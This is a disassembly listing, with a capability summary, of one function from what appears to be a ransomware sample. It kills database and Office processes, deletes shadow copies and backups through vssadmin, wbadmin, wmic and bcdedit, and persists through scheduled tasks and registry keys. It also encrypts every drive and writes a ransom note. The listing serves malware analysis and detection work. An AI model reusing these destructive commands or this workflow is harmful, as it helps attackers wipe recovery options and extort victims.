Function at 0x4035c0
Capabilities:
Copy file
Create process on windows
Create thread
Delete volume shadow copies
Disable automatic windows recovery features
Get disk information
Manipulate boot configuration
Persist via default file association registry key
Persist via run registry key
Schedule task via schtasks
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x41c008]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
push 0
call fcn.00407c3d
push eax
call fcn.004075f5
add esp, 8
call fcn.00402b90
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, str.msftesql.exe
call fcn.00403440
mov ecx, str.sqlagent.exe
call fcn.00403440
mov ecx, str.sqlbrowser.exe
call fcn.00403440
mov ecx, str.sqlservr.exe
call fcn.00403440
mov ecx, str.sqlwriter.exe
call fcn.00403440
mov ecx, str.oracle.exe
call fcn.00403440
mov ecx, str.ocssd.exe
call fcn.00403440
mov ecx, str.dbsnmp.exe
call fcn.00403440
mov ecx, str.synctime.exe
call fcn.00403440
mov ecx, str.mydesktopqos.exe
call fcn.00403440
mov ecx, str.agntsvc.exeisqlplussvc.exe
call fcn.00403440
mov ecx, str.xfssvccon.exe
call fcn.00403440
mov ecx, str.mydesktopservice.exe
call fcn.00403440
mov ecx, str.ocautoupds.exe
call fcn.00403440
mov ecx, str.agntsvc.exeagntsvc.exe
call fcn.00403440
mov ecx, str.agntsvc.exeencsvc.exe
call fcn.00403440
mov ecx, str.firefoxconfig.exe
call fcn.00403440
mov ecx, str.tbirdconfig.exe
call fcn.00403440
mov ecx, str.ocomm.exe
call fcn.00403440
mov ecx, str.mysqld.exe
call fcn.00403440
mov ecx, str.mysqld_nt.exe
call fcn.00403440
mov ecx, str.mysqld_opt.exe
call fcn.00403440
mov ecx, str.dbeng50.exe
call fcn.00403440
mov ecx, str.sqbcoreservice.exe
call fcn.00403440
mov ecx, str.excel.exe
call fcn.00403440
mov ecx, str.infopath.exe
call fcn.00403440
mov ecx, str.msaccess.exe
call fcn.00403440
mov ecx, str.mspub.exe
call fcn.00403440
mov ecx, str.onenote.exe
call fcn.00403440
mov ecx, str.outlook.exe
call fcn.00403440
mov ecx, str.powerpnt.exe
call fcn.00403440
mov ecx, str.steam.exe
call fcn.00403440
mov ecx, str.thebat.exe
call fcn.00403440
mov ecx, str.thebat64.exe
call fcn.00403440
mov ecx, str.thunderbird.exe
call fcn.00403440
mov ecx, str.visio.exe
call fcn.00403440
mov ecx, str.winword.exe
call fcn.00403440
mov ecx, str.wordpad.exe
call fcn.00403440
mov ecx, str.taskmgr.exe
call fcn.00403440
mov ecx, str.cmd.exe
call fcn.00403500
cmp al, 1
je 0x403799
mov ecx, str.CMD.EXE
call fcn.00403500
cmp al, 1
jne 0x4037aa
mov ecx, str.cmd.exe
call fcn.00403440
mov ecx, str.CMD.EXE
jmp 0x403778
push str.MHUNGRYHIPPOS
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x403d5f
push str.MHUNGRYHIPPOS
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
call fcn.00407c3d
push eax
call fcn.004075f5
push 9
call fcn.00403f74
add esp, 0xc
mov edi, eax
xor esi, esi
lea ebx, [esi + 0x24]
nop
call fcn.004075d4
xor edx, edx
div ebx
mov al, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [esi + edi], al
inc esi
cmp esi, 8
jl 0x4037f0
mov edx, edi
mov byte [edi + 8], 0
mov ecx, str.Top_of_the_morning__r_nAll_your_files_have_been_ENCRYPTED_r_nIf_you_really_want_to_decrypt_your_files__r_nWrite_to_our_email___decryptfiles_redacted.abc_or_decryptfiles_redacted.ab_r_nand_tell_us_your_unique_ID___ID_
mov dword [0x420a10], 0x419010
call fcn.00401220
push edi
mov dword [0x420a10], eax
call fcn.00403f7d
push str.APPDATA
call fcn.004084db
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
add esp, 8
mov ebx, eax
mov dword [esp + 0x14], ebx
push 0
push 0
push str._c_vssadmin.exe_Delete_Shadows__All__Quiet
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str._c_bcdedit.exe__set_default_recoveryenabled_No
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str._c_bcdedit.exe__set_default_bootstatuspolicy_ignoreallfailures
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str._c_wbadmin_DELETE_SYSTEMSTATEBACKUP
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str._c_wmic_SHADOWCOPY_DELETE
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str.wmic_SHADOWCOPY_DELETE
push str.WMIC.exe
push str.open
push 0
call esi
push 0
push 0
mov edx, str.info.exe
mov ecx, ebx
call fcn.00401220
mov edx, eax
mov ecx, str._Create__SC_MINUTE__TN_Encrypter__TR
call fcn.00401220
push eax
push str.SCHTASKS
push str.open
push 0
call esi
push 0
push 0
mov edx, str.info.exe
mov ecx, ebx
call fcn.00401220
mov edx, eax
mov ecx, str._Create__SC_ONLOGON__TN_EncrypterSt__TR
call fcn.00401220
push eax
push str.SCHTASKS
push str.open
push 0
call esi
mov edx, str.info.exe
mov ecx, ebx
call fcn.00401220
push 0xff
mov ebx, eax
call fcn.00403f74
add esp, 4
mov edi, eax
push 0xff
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push edi
mov esi, eax
call fcn.00403f7d
add esp, 4
test esi, esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x4039a7
lea eax, [esp + 0x18]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4039a1
push 0xff
push ebx
push 1
push eax
push str.Encrypter_074
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x18]
call esi
mov ecx, dword [esp + 0x14]
mov edx, str.decrypts.txt
call fcn.00401220
push 0xff
mov edi, eax
call fcn.00403f74
add esp, 4
mov esi, eax
push 0xff
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
call fcn.00403f7d
add esp, 4
lea eax, [esp + 0x18]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x403a0e
push 0xff
push edi
push 1
push eax
push str.userinfo
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x18]
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
call fcn.004012d0
test al, al
je 0x403d49
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
xor ecx, ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x10], ecx
mov edx, 1
shl edx, cl
test eax, edx
je 0x403b45
lea ebx, [ecx + 0x41]
mov dword [esp + 0x25], 0x5c5c3a
push 0x104
mov byte [esp + 0x28], bl
call fcn.00403f74
push 0x104
mov edi, eax
push 0
push edi
call fcn.00405470
add esp, 0x10
mov dword [esp + 0x20], 0x104
lea eax, [esp + 0x20]
mov word [esp + 0x19], 0x3a
mov byte [esp + 0x18], bl
push eax
push edi
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.MPR.dll_WNetGetConnectionA]
xor eax, eax
cmp byte [edi], al
je 0x403aab
nop word [eax + eax]
inc eax
cmp byte [eax + edi], 0
jne 0x403aa0
test eax, eax
jne 0x403abb
lea eax, [esp + 0x24]
push eax
push 5
push edi
call fcn.00407ab1
add esp, 0xc
mov eax, dword [0x41d354]
cmp eax, 0x1f4
jge 0x403afe
push 0xa00010
call fcn.00403f82
push 0xa00010
mov esi, eax
push 0
push esi
call fcn.00405470
mov eax, dword [0x41d354]
add esp, 0x10
lea ecx, [eax*8]
sub ecx, eax
inc eax
mov dword [0x41d354], eax
mov dword [ecx*4 + 0x41d360], esi
mov esi, dword [0x41d358]
cmp esi, eax
jge 0x403b41
xor ecx, ecx
test eax, eax
jle 0x403b41
mov edx, 0x41d364
cmp byte [edx], 0
je 0x403b22
inc ecx
add edx, 0x1c
cmp ecx, eax
jl 0x403b13
jmp 0x403b41
lea eax, [ecx*8]
sub eax, ecx
inc esi
mov dword [0x41d358], esi
mov byte [eax*4 + 0x41d364], 1
mov dword [eax*4 + 0x41d36c], edi
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
inc edx
mov dword [esp + 0x10], edx
mov ecx, edx
cmp edx, 0x1a
jl 0x403a36
push str.APPDATA
call fcn.004084db
add esp, 4
mov ebx, eax
mov edx, str.decrypts.txt
mov ecx, ebx
call fcn.00401220
mov edx, 0x418f14
mov dword [esp + 0x10], eax
mov ecx, ebx
call fcn.004024b0
mov edx, str..encrypts
mov ecx, str.SoftwareClasses_
call fcn.00401220
mov edi, eax
lea eax, [esp + 0x1c]
push eax
push edi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x403c29
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [esp + 0x1c]
push eax
push edi
push 0x80000001
call esi
test eax, eax
jne 0x403c29
mov edx, str._shellopencommand
mov ecx, edi
call fcn.00401220
lea ecx, [esp + 0x1c]
mov dword [esp + 0x20], eax
push ecx
push eax
push 0x80000001
call esi
test eax, eax
jne 0x403c1d
mov edx, dword [esp + 0x10]
mov ecx, str.notepad.exe
call fcn.00401220
mov esi, eax
xor ecx, ecx
cmp byte [esi], cl
je 0x403bff
inc ecx
cmp byte [ecx + esi], 0
jne 0x403bf8
push ecx
push esi
push 1
push 0
push 0x419001
push dword [esp + 0x30]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push esi
call fcn.00403f7d
add esp, 4
push dword [esp + 0x20]
call fcn.00403f7d
add esp, 4
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.00403f7d
mov ecx, ebx
call fcn.00401e70
push dword [esp + 0x14]
call fcn.00403f7d
mov esi, dword [0x41d354]
add esp, 8
xor ebx, ebx
test esi, esi
jle 0x403c98
mov edi, 0x41d360
nop dword [eax]
push 1
mov byte [edi + 0x14], 1
call fcn.00403f82
add esp, 4
mov esi, eax
push 0
push 0
push edi
push fcn.00402580
push 0x100000
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 0x18], esi
inc ebx
mov esi, dword [0x41d354]
add edi, 0x1c
cmp ebx, esi
jl 0x403c60
call fcn.00402790
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
test al, al
je 0x403cba
push 0x64
call ebx
call fcn.00402790
test al, al
jne 0x403ca7
mov esi, dword [0x41d354]
xor edi, edi
mov dword [0x41d358], 0
test esi, esi
jle 0x403cea
mov esi, 0x41d364
nop
push dword [esi - 4]
call fcn.00403f7d
inc edi
mov byte [esi], 0
add esp, 4
lea esi, [esi + 0x1c]
cmp edi, dword [0x41d354]
jl 0x403cd0
mov esi, dword [esp + 0x14]
mov edx, str.decrypts.txt
push 5
mov ecx, esi
mov dword [0x41d358], 0
call fcn.00401220
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 5
push 0
push 0
mov edx, str.decrypts.txt
mov ecx, esi
call fcn.00401220
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, str.decrypts.txt
mov ecx, esi
call fcn.00401220
push eax
call fcn.004085f1
add esp, 4
push 0x7530
call ebx
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00403d68
mov esp, ebp
pop ebp
ret 0x10
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]